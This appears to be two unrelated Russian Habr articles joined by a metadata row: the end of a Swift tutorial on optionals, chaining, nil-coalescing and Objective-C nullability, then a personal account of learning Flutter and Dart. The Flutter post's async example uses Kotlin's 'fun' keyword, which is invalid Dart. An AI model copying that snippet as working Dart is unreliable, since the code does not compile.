Эта задача имеет изящное решение: `capitalCity` объявляется мутабельным неявно извлекаемым опционалом. Как и любой мутабельный опционал, `capitalCity` по умолчанию инициализируется состоянием `nil`, т. е. к моменту вызова конструктора *City* все свойства объекта `country` уже инициализированы. Требования двухэтапной инициализации соблюдены, конструктор *Country* находится во второй фазе — можно передавать `self` в конструктор *City*. `capitalCity` является неявным опционалом, т.е. к нему можно обращаться в неопциональном контексте без добавления `!`.
Побочным эффектом использования неявно извлекаемого опционала является "встроенный" `assert`: если `capitalCity` по каким-либо причинам останется в состоянии `nil`, это приведет к ошибке рантайма и аварийному завершению работы программы.
Другим примером оправданного использования неявно извлекаемых опционалов могут послужить инструкции `@IBOutlet`: контекст их использования подразумевает, что переменной к моменту первого обращения автоматически будет присвоено `.some`-значение. Если это не так, то произойдет ошибка рантайма. Автоматическая генерация кода в *Interface Builder* создает свойства с `@IBOutlet` именно в виде неявных опционалов. Если такое поведение неприемлемо, свойство с `@IBOutlet` можно объявить в виде явного опционала и всегда обрабатывать `.none`-значения явным образом. Как правило, все же лучше сразу получить "падение", чем заниматься долгой отладкой в случае случайно отвязанного `@IBOutlet`-свойства.
#### **Optional Chaining**
*Optional Chaining* — это процесс последовательных вызовов по цепочке, где каждое из звеньев возвращает опционал. Процесс прерывается на первом опционале, находящемся в состоянии `nil` — в этом случае результатом всей цепочки вызовов также будет `nil`. Если все звенья цепочки находятся в состоянии `.some`, то результирующим значением будет опционал с результатом последнего вызова. Для формирования звеньев цепочки используется лексема `?`, которая помещается сразу за вызовом, возвращающим опционал. Звеньями цепочки могут любые операции, которые возвращают опционал: обращение к локальной переменной (в качестве первого звена), вызовы свойств и методов, доступ по индексу.
*Optional сhaining* всегда работает последовательно слева направо. Каждому следующему звену передается `.some`-значение предыдущего звена, при этом результирующее значение цепочки всегда является опционалом, т.е. цепочка работает по следующим правилам:
* первое звено должно быть опционалом;
* после лексемы `?` должно быть следующее звено;
* если звено в состояни `.none`, то цепочка прерывает процесс вызовов и возвращает `nil`;
* если звено в состояни `.some`, то цепочка отдает `.some`-значение звена на вход следующему звену (если оно есть);
* если результат последнего звена является опционалом, то цепочка возвращает этот опционал;
* если результат последнего звена не является опционалом, то цепочка возвращает этот результат, "завернутый" в опционал (результат вычислений присваивается `.some`-значению возвращаемого опционала).
```
// цепочка из трех звеньев: первое звено — опционал `country.mainSeaport?`,
country.mainSeaport?.nearestVacantPier?.capacity
// ошибка компиляции, после `?` должно быть следующее звено
let mainSeaport = country.mainSeaport?
// цепочка вернет `nil` на первом звене
country = Country(name: "Mongolia")
let capacity = country.mainSeaport?.mainPier?.capacity
// цепочка вернет опционал — ближайший незанятый пирс в Хельсинки
country = Country(name: "Finland")
let nearestVacantPier = country.mainSeaport?.nearestVacantPier
// цепочка вернет опционал — количество свободных мест, даже если capacity
// является неопциональным значением
country = Country(name: "Finland")
let capacity = country.mainSeaport?.nearestVacantPier?.capacity
```
Важно отличать цепочки опциональных вызовов от вложенных опционалов. Вложенный опционал образуется, когда `.some`-значением одного опционала является другой опционал:
```
let valueA = 42
let optionalValueA = Optional(valueA)
let doubleOptionalValueA = Optional(optionalValueA)
let tripleOptionalValueA = Optional(doubleOptionalValueA)
let tripleOptionalValueB: Int??? = 42 // три `?` означают тройную вложенность
let doubleOptionalValueB = tripleOptionalValueB!
let optionalValueB = doubleOptionalValueB!
let valueB = optionalValueB!
print("\(valueA)") // 42
print("\(optionalValueA)") // Optional(42)
print("\(doubleOptionalValueA)") // Optional(Optional(42))
print("\(tripleOptionalValueA)") // Optional(Optional(Optional(42)))
print("\(tripleOptionalValueB)") // Optional(Optional(Optional(42)))
print("\(doubleOptionalValueB)") // Optional(Optional(42))
print("\(optionalValueB)") // Optional(42)
print("\(valueB)") // 42
```
*Optional сhaining* не увеличивает уровень вложенности возвращаемого опционала. Тем не менее, это не исключает ситуации, когда результирующим значением какого-либо звена является опционал с несколькими уровнями вложенности. В таких ситуациях для продолжения цепочки необходимо прописать `?` в количестве, равном количеству уровней вложенности:
```
let optionalAppDelegate = UIApplication.shared.delegate
let doubleOptionalWindow = UIApplication.shared.delegate?.window
let optionalFrame = UIApplication.shared.delegate?.window??.frame // два '?'
print("\(optionalAppDelegate)") // Optional( ... )
print("\(doubleOptionalWindow)") // Optional(Optional( ... ))
print("\(optionalFrame)") // Optional( ... )
```
**Примечание**Вообще говоря, необязательно, чтобы все уровни вложенности были "развернуты" с помощью лексемы `?`.Часть из них можно заменить на принудительное извлечение `!`, что сократит количество "неявных" звеньев в цепочке. Отдельный вопрос, есть ли в этом смысл.
Цепочка `UIApplication.shared.delegate?.window??.frame` фактически состоит из четырех звеньев: `UIApplication.shared.delegate?`, `.frame` и два звена, объединенных в одном вызове `.window??`. Второе "двойное" звено представлено опционалом второго уровня вложенности.
Важной особенностью этого примера также является особый способ формирования двойного опционала, отличающийся от способа формирования `doubleOptionalValue` в предыдущем примере. `UIApplication.shared.delegate!.window` является **опциональным свойством**, в котором возвращается опционал. Опциональность свойства означает, что может отсутствовать само свойство, а не только `.some`-значение у опционала, возвращаемого из свойства. Опциональное свойство, также как и все прочие свойства, может возвращать любой тип, не только опциональный. Опциональность такого рода формируется в [@objc-протоколах](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html#//apple_ref/doc/uid/TP40014097-CH25-ID284) с помощью модификатора `optional`:
```
public protocol UIApplicationDelegate : NSObjectProtocol {
...
@available(iOS 5.0, * )
optional public var window: UIWindow? { get set } // модификатор optional
...
}
```
В протоколах с опциональными свойствами и методами (иначе, опциональными требованиями) модификатор `@objc` указывается для каждого опционального требования и для самого протокола. На протокол *UIApplicationDelegate* из примера выше это требование не распространяется, т.к. он транслируется в Swift из системной библиотеки на Objective-C. Вызов нереализованного опционального требования у объекта, принимающего такой протокол, возвращает опционал соответствующего типа в состоянии `.none`. Вызов реализованного опционального требования возвращает опционал соответсвующего типа в состоянии `.some`. Таким образом, опциональные свойства и методы, в отличие от *optional сhaining*, увеличивают уровень вложенности возвращаемого опционала. Опциональный метод, как и свойство, "заворачивается" в опционал полностью — в `.some`-значение помещается метод целиком, а не только возращаемое значение:
```
@objc
public protocol myOptionalProtocol {
@objc
optional var my_variable: Int { get }
@objc
optional var my_optionalVariableA: Int? { get } // ошибка компиляции:
// модификатор @objc не применим к опционалу типа Int?, т.к. Int
// не является классом
@objc
optional var my_optionalVariableB: UIView? { get }
@objc
optional func my_func() -> Int
@objc
optional func my_optionalResultfuncA() -> Int? // ошибка компиляции:
// модификатор @objc не применим к опционалу типа Int?, т.к. Int
// не является классом
@objc
optional func my_optionalResultfuncB() -> UIView?
@objc
optional init(value: Int) // ошибка компиляции:
// модификатор optional не применим инициализаторам
}
@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate, myOptionalProtocol {
var window: UIWindow?
func application(_ application: UIApplication,
didFinishLaunchingWithOptions launchOptions:
[UIApplicationLaunchOptionsKey: Any]?) -> Bool {
let protocolAdoption = self as myOptionalProtocol
// Optional
print("\(type(of: protocolAdoption.my\_variable))")
// Optional>
print("\(type(of: protocolAdoption.my\_optionalVariableB))")
// Optional<() -> Int>
print("\(type(of: protocolAdoption.my\_func))")
// Optional
print("\(type(of: protocolAdoption.my\_func?()))")
// Optional<() -> Optional>
print("\(type(of: protocolAdoption.my\_optionalResultfuncB))")
// Optional
print("\(type(of: protocolAdoption.my\_optionalResultfuncB?()))")
return true
}
}
```
Для опциональных `@objc`-протоколов имеется ряд ограничений, в виду того, что они были введены в Swift специально для взаимодействия с кодом на Objective-C:
* могут быть реализованы только в классах, унаследованных от классов Objective-C, либо других классов с аттрибутом `@objc` (т.е. не могут быть реализованы в структурах и перечислениях);
* модификатор `optional` неприменим к требованиям-конструкторам `init`;
* cвойства и методы с аттрибутом `@objc` имеют ограничение на тип возвращаемого опционала — допускаются только классы.
Попытка применить *Force Unwrapping* на нереализованном свойстве или методе приведет к точно такой же ошибке рантайма, как и применение *Force Unwrapping* на любом другом опционале в состоянии `.none`.
#### **Nil-Coalescing**
Оператор *Nil-Coalescing* возвращает `.some`-значение опционала, если опционал в состоянии `.some`, и значение по умолчанию, если опционал в состоянии `.none`. Обычно *Nil-Coalescing* более лаконичен, чем условие `if else`, и легче воспринимается, чем тернарный условный оператор `?`:
```
let optionalText: String? = tryExtractText()
// многословно
let textA: String
if optionalText != nil {
textA = optionalText!
} else {
textA = "Extraction Error!"
}
// в одну строку, но заставляет думать
let textB = (optionalText != nil) ? optionalText! : "Extraction Error!"
// кратко и легко воспринимать
let textC = optionalText ?? "Extraction Error!"
```
Тип значения по умолчания справа должен соответствовать типу `.some`-значения опционала слева. Значение по умолчанию тоже может быть опционалом:
```
let optionalText: String?? = tryExtractOptionalText()
let a = optionalText ?? Optional("Extraction Error!")
```
Возможность использовать выражения в качестве правого операнда позволяет создавать цепочки из умолчаний:
```
let wayA: Int? = doSomething()
let wayB: Int? = doNothing()
let defaultWay: Int = ignoreEverything()
let whatDo = wayA ?? wayB ?? defaultWay
```
#### **Optional Binding и приведение типов**
*Optional Binding* позволяет проверить, содержит ли опционал `.some`-значение, и если содержит, извлечь его и предоставить к нему доступ через с помощью локальной переменной (обычно константной). *Optional Binding* работает в контексте конструкций `if`, `while` и `guard`.
В официальной документации детали реализации *Optional Binding* не описаны, но можно построить модель, хорошо описывающую поведение этого механизма.
В Swift каждый метод или функция без явно заданного `return` неявно возвращает [пустой кортеж](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/Functions.html#//apple_ref/doc/uid/TP40014097-CH10-ID163) `()`. Оператор присваивания `=` является исключением и [не возвращает значение](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/BasicOperators.html#//apple_ref/doc/uid/TP40014097-CH6-ID62), тем самым позволяя избежать случайного присвоения вместо сравнения `==`.
Допустим, что оператор присваивания также обычно возвращает пустой кортеж, но если правый операнд является опционалом в состоянии `nil`, то оператор присваивания вернет `nil`. Тогда эту особенность можно будет использовать в условии `if`, так как пустой кортеж расценивается как *true*, а `nil` расценивается как *false*:
```
var my_optionalVariable: Int? = 42
// условие истинно, my_variable "привязана" к .some-значению my_optionalVariable
if let my_variable = my_optionalVariable {
print("\(my_variable)") // 42
}
my_optionalVariable = nil
// условие ложно, my_variable не создана
if let my_variable = my_optionalVariable {
print("\(my_variable)")
} else {
print("Optional variable is nil!") // Optional variable is nil!
}
```
Переменную, сформированную в контексте ветки *true*, можно будет автоматически объявить неявно извлекаемым опционалом или даже обычной переменной. Не-`nil` как результат операции присвоения будет являться следствием `.some`-состояния правого операнда. В ветке *true* `.some`-значение всегда будет успешно извлечено и "привязано" к новой переменной (поэтому механизм в целом и называется *Optional Binding*).
Область видимости извлеченной переменной в условии `if` ограничивается веткой *true*, что логично, поскольку в ветке *false* такая переменная не может быть извлечена. Тем не менее, существуют ситуации, когда нужно расширить область видимости извлеченного `.some`-значения, а в ветке *false* (опционал в состоянии `.none`) завершить работу функции. В таких ситуациях удобно воспользоваться условием `guard`:
```
let my_optionalVariable: Int? = extractOptionalValue()
// чересчур многословно
let my_variableA: Int
if let value = my_optionalVariable {
my_variableA = value
} else {
return
}
print(my_variableA + 1)
// лаконично
guard let my_variableB = my_optionalVariable else {
return
}
print(my_variableB + 1)
```
В Swift гарантированное компилятором приведение типов (например, повышающее приведение или указание типа литерала) выполняется с помощью оператора `as`. В случаях, когда компилятор не может гарантировать успешное приведение типа (например, понижающее приведение), используется либо оператор принудительного приведения `as!`, либо оператор опционального приведения `as?`. Принудительное приведение работает в стиле *Force Unwrapping*, т.е. в случае невозможности выполнить приведение приведет к ошибке рантайма, в то время как опциональное приведение в этом случае вернет `nil`:
```
class Shape {}
class Circle: Shape {}
class Triangle: Shape {}
let circle = Circle()
let circleShape: Shape = Circle()
let triangleShape: Shape = Triangle()
circle as Shape // гарантированное приведение
42 as Float // гарантированное приведение
circleShape as Circle // ошибка компиляции
circleShape as! Circle // circle
triangleShape as! Circle // ошибка рантайма
circleShape as? Circle // Optional
triangleShape as? Circle // nil
```
Таким образом, оператор опционального приведения `as?` порождает опционал, который часто используется в связке с *Optional Binding*:
```
class Shape {}
class Circle: Shape {}
class Triangle: Shape {}
let circleShape: Shape = Circle()
let triangleShape: Shape = Triangle()
// условие истинно, успешное приведение
if let circle = circleShape as? Circle {
print("Cast success: \(type(of: circle))") // Cast success: (Circle #1)
} else {
print("Cast failure")
}
// условие ложно, приведение не удалось
if let circle = triangleShape as? Circle {
print("Cast success: \(type(of: circle))")
} else {
print("Cast failure") // Cast failure
}
```
#### **map и flatMap**
Методы `map` и `flatMap` условно можно отнести к идиомам Swift, потому что они определены в системном перечислении *Optional*:
```
public enum Optional : ExpressibleByNilLiteral {
...
/// Evaluates the given closure when this `Optional` instance is not `nil`,
/// passing the unwrapped value as a parameter.
///
/// Use the `map` method with a closure that returns a nonoptional value.
public func map(\_ transform: (Wrapped) throws -> U) rethrows -> U?
/// Evaluates the given closure when this `Optional` instance is not `nil`,
/// passing the unwrapped value as a parameter.
///
/// Use the `flatMap` method with a closure that returns an optional value.
public func flatMap(\_ transform: (Wrapped) throws -> U?) rethrows -> U?
...
}
```
Данные методы позволяют осуществлять проверку опционала на наличие `.some`-значения и обрабатывать это значение в замыкании, полученном в виде параметра. Оба метода возвращают `nil`, если исходный опционал `nil`. Разница между `map` и `flatmap` заключается в возможностях замыкания-параметра: для `flatMap` замыкание может дополнительно возвращать `nil` (опционал), а для `map` замыкание всегда возвращает обычное значение:
```
let my_variable: Int? = 4
let my_squareVariable = my_variable.map { v in
return v * v
}
print("\(my_squareVariable)") // Optional(16)
let my_reciprocalVariable: Double? = my_variable.flatMap { v in
if v == 0 {
return nil
}
return 1.0 / Double(v)
}
print("\(my_reciprocalVariable)") // Optional(0.25)
```
Выражения с `map` и `flatmap` обычно более лаконичны, чем конструкции с предварительной проверкой в `if` или `guard`, и воспринимаются легче, чем конструкции с тернарным условным оператором:
```
let dateFormatter = DateFormatter()
dateFormatter.dateFormat = "dd MMM yyyy"
let date: Date? = extractOptionalDate()
// многословно
let dateStringA: String
if date != nil {
dateStringA = dateFormatter.string(from: date!)
} else {
dateStringA = "Unknown date"
}
// в одну строку, но сложно воспринимать
let dateStringB =
(date == nil ? nil : dateFormatter.string(from: date!)) ?? "Unknown date"
// лаконично, с непривычки сложно воспринимать (если map используется редко)
let dateStringC = date.map(dateFormatter.string) ?? "Unknown date"
```
Уместность той или иной идиомы во многом зависит от договоренностей по стилю кодирования, принятых на проекте. Вполне возможно, что явные проверка опционала и работа с извлеченным `.some`-значением будут выглядеть естественнее, чем применение `map` или `flatmap`:
```
// отдельно Optional Binding и явный вызов метода у извлеченного объекта
func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) {
if let cell = sender as? UITableViewCell,
let indexPath = tableView.indexPathForCell(cell) {
let item = items[indexPath.row]
}
}
// В одном вызове 3 этапа:
// 1) опционал как результат приведения типов;
// 2) передача неявного замыкания в метод flatMap полученного опционала;
// 3) Optional Binding к результату flatMap.
func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) {
if let indexPath =
(sender as? UITableViewCell).flatMap(tableView.indexPathForCell) {
let item = items[indexPath.row]
}
}
```
#### **Опционалы и обработка исключений**
Swift поддерживает несколько способов обработки исключений, и один из них — это преобразование исключения в `nil`. Такое преобразование можно осуществить автоматически с помощью оператора `try?` (примеры из [документации](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/ErrorHandling.html)):
```
func someThrowingFunction() throws -> Int {
// ...
}
// многословно
let y: Int?
do {
y = try someThrowingFunction()
} catch {
y = nil
}
// лаконично
let x = try? someThrowingFunction()
```
Обе переменные `x` и `y` являются опциональными, независимо от того, какой тип возвращает `someThrowingFunction()`. Таким образом, семантика поведения оператора `try?` такая же, как и у оператора `as?`. Логично также наличие оператора `try!`, который позволяет проигнорировать возможность выброса исключения из функции. Если исключение все же будет выброшено, то произойдет ошибка рантайма:
```
// ошибка рантайма, если loadImage будет выброшено исключение
// photo не является опционалом (в отличие от x и y)
let photo = try! loadImage(atPath: "./Resources/John Appleseed.jpg")
```
#### **Опционалы и Objective-C**
В Objective-C нет понятия опциональности. Лексема `nil` в Objective-C обозначает нулевой указатель, т.е. обращение к любой переменной ссылочного типа потенциально может вернуть `nil`. В Swift `nil` обозначает опционал в состоянии `.none`, неопциональная переменная не может быть `nil`, поэтому до Xcode 6.3 любой указатель из Objective-C транслировался в Swift как неявно извлекаемый опционал. В Xcode 6.3 в Objective-C для совместимости с семантикой опционалов были введены так называемые *nullability annotations*:
```
@interface myObject : NSObject
@property (copy, readonly) NSArray * _Nullable myValuesA;
@property (copy, readonly) NSString * _Nonnull myStringA;
@property (copy, readonly, nullable) NSArray * myValuesB;
@property (copy, readonly, nonnull) NSString * myStringB;
@end
```
К ним относятся `nullable` (или `_Nullable`), `nonnull` (или `_Nonnull`), а также `null_unspecified` и `null_resettable`. *Nullability*-aннотациями могут быть обозначены ссылочные типы в свойствах, а также в параметрах и результатах функций. Помимо отдельных аннотаций можно использовать специальные макросы `NS_ASSUME_NONNULL_BEGIN` и `NS_ASSUME_NONNULL_END` для пометки участков кода целиком. Аннотации не являются полноценными модификаторами указателей или аттрибутами свойств, поскольку не влияют на компиляцию кода на Objective-C (если не считать предупреждений компиляции, например, при попытке присвоить `nil` свойству с аннотацией *nonnull*).
**Примечание**Аннотация `null_resettable` подразумевает, что сеттер свойства может принимать `nil`, но при этом геттер свойства вместо `nil` возвращает некоторое [значение по умолчанию](https://developer.apple.com/library/content/documentation/Xcode/Conceptual/RN-Xcode-Archive/Chapters/xc6_release_notes.html).
Трансляция из Objective-C в Swift осуществлятся по следующим правилам:
* значения из области между `NS_ASSUME_NONNULL_BEGIN` и `NS_ASSUME_NONNULL_END` импортируются в виде неопциональных (обычных) значений;
* значения с аннотациями `nonnull` или `_Nonnull` импортируются в виде неопциональных (обычных) значений;
* значения с аннотациями `nullable` или `_Nullable` импортируются в виде опционалов;
* значения с аннотацией `null_resettable` [импортируются в виде](https://developer.apple.com/videos/play/wwdc2015/202/?time=219) неявно извлекаемых опционалов;
* значения без *nullability*-aннотаций или аннотацией `null_unspecified` (аннотация по умолчанию) импортируются в виде неявно извлекаемых опционалов.
Правила передачи опционалов из Swift в Objective-C несколько проще:
* если опционал в состоянии `.none`, то возвращается экземпляр *NSNull*;
* если опционал в состоянии `.some`, то возвращается указатель на `.some`-значение.
#### **Резюме, синтаксис**
Лексема `!` может быть использована в четырех контекстах, связанных с опциональностью:
* для принудительного извлечения значения из опционала;
* для объявления неявного опционала;
* для принудительной конвертации типов в операторе `as!`;
* для принудительного подавления исключения в операторе `try!`.
**Примечание**Унарный оператор логического отрицания `!` не считается, поскольку относится к другому контексту.
Лексема `?` может быть использована в четырех контекстах, связанных с опциональностью:
* для объявления явного опционала;
* для использования опционала в *optional chaining*;
* для опциональной конвертации типов в операторе `as?`;
* для преобразования исключения в `nil` в операторе `try?`.
**Примечание**Тернарный условный оператор `?` не считается, поскольку относится к другому контексту.
Лексема `??` может быть использована в двух контекстах:
* в *Optional сhaining* для обращения к опционалу второго уровня вложенности;
* в качестве оператора *Nil-Coalescing*.
#### **Заключение**
Нулевой указатель — это [ошибка на миллиард долларов](https://en.wikipedia.org/wiki/Tony_Hoare). Вызывающая сторона все равно должна учитывать контекст и проверять результат на равенство специфичной константе, означающее отсутствие данных. Тот факт, что константа *null* всего одна, принципиально ситуацию не меняет и лишь добавляет неожиданностей при приведении типов.
Факт отсутствия данных должен обрабатываться отдельной сущностью, внешней по отношению к самим данным. В С++ или Java в область допустимых значений указателя включено специальный "адрес", обозначающий отсутствие адресата. "Правильный" указатель не может существовать без адресата, следовательно, не может "осознать" отсутствие адресата. Даже человеку, т.е. довольно сложной системе, приходится довольстоваться аксиомой *Cogito, ergo sum* (лат. — "Мыслю, следовательно существую"). У человека нет достоверных признаков собственного бытия или небытия, но у внешних по отношению к человеку сущностей эти критерии есть. В Swift такой внешней сущностью является опционал.
### Дополнительные материалы
* [Generic Enumeration: Optional (developer.apple.com)](https://developer.apple.com/documentation/swift/optional)
* [Instance Property: unsafelyUnwrapped (developer.apple.com)](https://developer.apple.com/documentation/swift/optional/1641793-unsafelyunwrapped)
* [Swift Language Guide: Optionals (developer.apple.com)](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/TheBasics.html#//apple_ref/doc/uid/TP40014097-CH5-ID330)
* [Unowned References and Implicitly Unwrapped Optional Properties (developer.apple.com)](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html#//apple_ref/doc/uid/TP40014097-CH20-ID55)
* [Nil-Coalescing Operator (developer.apple.com)](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/BasicOperators.html#//apple_ref/doc/uid/TP40014097-CH6-ID72)
* [Optional Chaining (developer.apple.com)](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/OptionalChaining.html)
* [Optional Protocol Requirements (developer.apple.com)](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html#//apple_ref/doc/uid/TP40014097-CH25-ID284)
* [The as! Operator (developer.apple.com)](https://developer.apple.com/swift/blog/?id=23)
* [Converting Errors to Optional Values (developer.apple.com)](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/ErrorHandling.html)
* [Nullability and Objective-C (developer.apple.com)](https://developer.apple.com/swift/blog/?id=25)
* [Nullability and Optionals (developer.apple.com)](https://developer.apple.com/library/content/documentation/Swift/Conceptual/BuildingCocoaApps/InteractingWithObjective-CAPIs.html#//apple_ref/doc/uid/TP40014216-CH4-ID45)
* [Xcode 6.3 Release Notes: Objective-C Language Enhancements (developer.apple.com)](https://developer.apple.com/library/content/documentation/Xcode/Conceptual/RN-Xcode-Archive/Chapters/xc6_release_notes.html)
* [Option type (en.wikipedia.org)](https://en.wikipedia.org/wiki/Option_type)
* [Nullable type (en.wikipedia.org)](https://en.wikipedia.org/wiki/Nullable_type)
* [Re-implementing Optionals using Swift’s powerful enum type (jamesonquave.com)](http://jamesonquave.com/blog/re-implementing-optionals-using-swifts-powerful-enum-type/)
UPD: (by Alexander Zimin) Конструктор `init(nilLiteral: ())` напрямую вызвать на самом деле можно:
```
var test = Optional(nilLiteral: ())
```
Тем не менее, в документации от Apple не рекомендуется это делать. | https://habr.com/ru/post/338766/ | null | ru | null |
# Как я хотел поработать нативным Android разработчиком, но устроился Flutter разрабом
Небольшое вступление
--------------------
После праздничных каникул (это было в январе) я решил немного поработать Android разработчиком на пол ставки, дабы совмещать работу с учебой.
Ещё в декабре я познакомился с главным программистом IT-компании, которая находится в Сочи.
Я не буду оглашать имя компании в целях корпоративной тайны, это не суть. Компания довольно молодая, и поэтому использует более новые технологии. Я был удивлен, когда мне ответили, что им нужен Flutter разработчик, а не Java/Kotlin.
Так я и познакомился с Flutter.
Первые впечатления
------------------
Я был совершенно поражен когда впервые увидел сгенерированный проект мобильного приложения на Flutter. Все совершенно отличалось от обычной нативной разработки под Android.
Первое что бросалось в глаза - это совершенно другой язык, Dart.
Я сразу начал штудировать [этот раздел](https://flutter.dev/docs/get-started/flutter-for/android-devs) и узнал, что Flutter - это Framework с декларативным стилем написания UI.
Мне никогда не был понятен данный стиль написания кода. Когда-то в прошлом я решил освоить React JS, но не смог его одолеть и забросил (в основном из-за глупости и лени). Зачем вообще декларативный стиль программирования? Есть же интуитивно понятно императивный: создал объект кнопки, добавил в родительский элемент и т.д.
Когда я увлекся Flutter, то осознал и понял главные преимущества такого подхода:
* **Меньше кода**
* **Интуитивно понятный**
* **Ускоренная разработка**
* **Мощность**
Возможно это произвучит чересчур громко. Все эти преимущества в той или иной мере правдивы.
Вот так, к примеру, выглядит разметка UI приложения, сгенерированного Android Studio:
```
Scaffold(
appBar: AppBar(
title: Text("Counter App"),
),
body: Center(child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text("You have pushed the button this many times: "),
SizedBox(height: 10),
Text("$counter",
style: Theme.of(context).textTheme.headline4,
)
],
),),
floatingActionButton: FloatingActionButton(
onPressed: () { setState(() => counter = counter + 1); },
child: Icon(Icons.add),
),
);
```
Первая важная особенность такого кода: большое количество скобок и запятых, как бы смешно это не звучало)))
Вторая: большая гибкость и мощность, вы можно по-разному вкладывать друг в друга элементы и комбинировать их, создавая более сложный UI
Третья: легко читаем и имеет возможность разбивки кода на отдельные функции. Конечно довольно сложный интерфейс выглядит громоздко и не совсем разборчиво при таком стиле и поэтому в таких случаях необходимо разделять UI на отдельные функции.
И наконец, Dart имеет интересную фишку: можно поставить запятую в конце последнего параметра функции или конструктура класса, поэтому вы можете не париться по поводу последней запятой в вашем коде, когда делает разметку UI или передаете параметры функции.
Как вы уже догадались в любой технологии найдется уязвимое место. Какие оптимизации бы не сделал Flutter разработчик, его приложение все равно будет проигрывать в скорости работы приложения, написаного на Java / Kotlin - это 100% очевидно (данная проблема проявляется не во всех ситуациях).
Первое приложение
-----------------
Перед тем, как получить работу, мне дали тестовое задание: сделать приложение, которое будет хранить данные об автомобилях в локальной базе данных.
Я начал курить [flutter.dev](https://flutter.dev/), прочитал довольно много полезных материалов на данную тему.
В результате, я решил использовать обертку sqlite для Android и iOS - [sqflite](https://pub.dev/packages/sqflite).
Сразу стоит отметить, что подключение большинства библиотек (pub-пакетов) осуществляется через специальный файл pubspec.yaml, в отличие от build.gradle (Android).
Все пакеты Dart (включая подмножество Flutter) располагаются на сайте [pub.dev](https://pub.dev/packages)
Как я позже узнал, Flutter позволяет использовать нативный код Android и iOS, что меня очень сильно порадовало.
Дальнейшие разработки
---------------------
C февраля я был переведен на первый рабочий проект.
Я все больше стал понимать синтаксис языка Dart. Для тех, кто хочет довольно быстро с ним познакомиться покурите [Dart Tour](https://dart.dev/guides/language/language-tour)
В многих проектах, даже довольно маленьких всегда есть какие-либо тяжелые задачи, которые могут затормозить отрисовку UI приложения (кнопок, меню и т.д.). Например: загрузка файла из сети, или запрос в базу данных и т.д.
Поэтому необходимо использовать либо Thread'ы (Java), либо Coroutines (Kotlin) в нативной разработке под Android
В Flutter это решается довольно просто, использованием асинхронных функций:
```
fun getArticles() async {
final response = await http.get("https://xxx.ru/rest/getArticles");
final List articles = decodeArticles(response.body);
setState(() {
this.articles = articles;
});
}
```
Возможно не совсем понятно для незнакомых с Flutter и декларативным стилем написания кода, вызов функции `setState`.
`setState` является функцией высшего порядка (Dart поддерживает функциональное программирование) и принимает другую функцию, как входной параметр.
Логика `setState` довольно простая: сначала выполняем функцию, которая была передана в качестве параметра, а затем перерисовываем все компоненты Flutter приложения. (на самом деле не все, Flutter сам решает, что нужно перерисовать, а что нет, дабы обеспечить эффективность работы).
В этом и состоит один из важнейших принципов декларативного подхода Flutter - принципа состояние.
Более подробно о состоянии: [flutter.dev](https://flutter.dev/docs/development/data-and-backend/state-mgmt/intro)
При реализации моего первого рабочего приложения на Flutter я впервые столкнулся с проблемой архитектуры.
По большей части все данные Flutter приложения - это состояние (на момент выполнения приложения несомненно).
И поэтому в проектировании архитектуры Flutter приложения нужно руководствоваться [одним из подходов по управления состоянием.](https://flutter.dev/docs/development/data-and-backend/state-mgmt/options)
Я выбрал [provider](https://pub.dev/packages/provider) и не пожалел об этом. Данный подход довольно простой и изящный.
В апреле мой первый более менее рабочий проект был опубликован в [Google Play](https://play.google.com/store/apps/details?id=com.krasnayapolyanaresort.uniqguide) и [Apple Store](https://apps.apple.com/ru/app/%D1%8D%D0%BA%D0%BE%D1%82%D1%80%D0%BE%D0%BF%D1%8B/id1562666146)
Мое личное мнение о Flutter
---------------------------
Я считаю, что Flutter - довольно неплохой кроссплатформенный framework для мобильной разработки, по моему мнению он не уступает своим конкурентам, таким как React Native например.
Большинство коммерческих проектов вполне могут быть реализованы на Flutter.
Основные преимущества Flutter по моему мнению:
* Довольно мощный UI framework, позволяет сильно кастомизировать внешний вид приложения. Это также является важнейшим преимуществом по отношению к нативной Android разработке, т.к. создание кастомных View и написание дополнительного кода является не одной из самых простых задач;
* Быстрая разработка - т.к. Flutter является кроссплатформенным инструментом для разработки, вам не нужно писать отдельно код для iOS и Android, что действительно повышает скорость разработки, но не во всех случаях работу самого приложения :)
* Возможность иметь доступ к низкоуровневым компонентам мобильной ОС (через Platform Channels)
* Кастомная отрисовка компонентов
* Декларативный стиль обладает некоторыми преимуществами над императивным, как было отмечено выше
* Функциональность - Flutter имеет огромное количество полезных компонентов, а также pub-пакетов, которые не раз меня выручали). Сейчас Flutter продолжает расти, в марте прошел [Flutter Engage 2021](https://www.youtube.com/watch?v=yll3SNXvQCw)
Причины по которым вы не должны использовать Flutter я к сожалению не обнаружил. Разве, что мобильное приложение на Flutter отстает на несколько миллисекунд от нативного.
Заключение
----------
Статья носит субъективное мнение и поэтому я могу ошибаться в некоторых, а может и во всех отношениях.
Моей главной целью было выразить мой скромный опыт разработки на Flutter и поделиться своим мнением и некоторыми замечаниями.
В конце, хотелось бы отметить, что Flutter имеет все нужные обстоятельства для будущего развития и, возможно даже перерастет другие подходы кроссплатформенной разработки (React Native) или уже перерос (как было написано в комменте одним замечательным человеком).
В любом случае всем хорошего кода!
Полезные ссылки:
* [Flutter для Android разработчиков](https://flutter.dev/docs/get-started/flutter-for/android-devs)
* [flutter.dev](https://flutter.dev/)
* [pub.dev](https://pub.dev/packages)
* [SQLite плагин для Android, IOS](https://pub.dev/packages/sqflite)
* [Dart Tour](https://dart.dev/guides/language/language-tour)
* [Flutter Engage 2021](https://www.youtube.com/watch?v=yll3SNXvQCw)
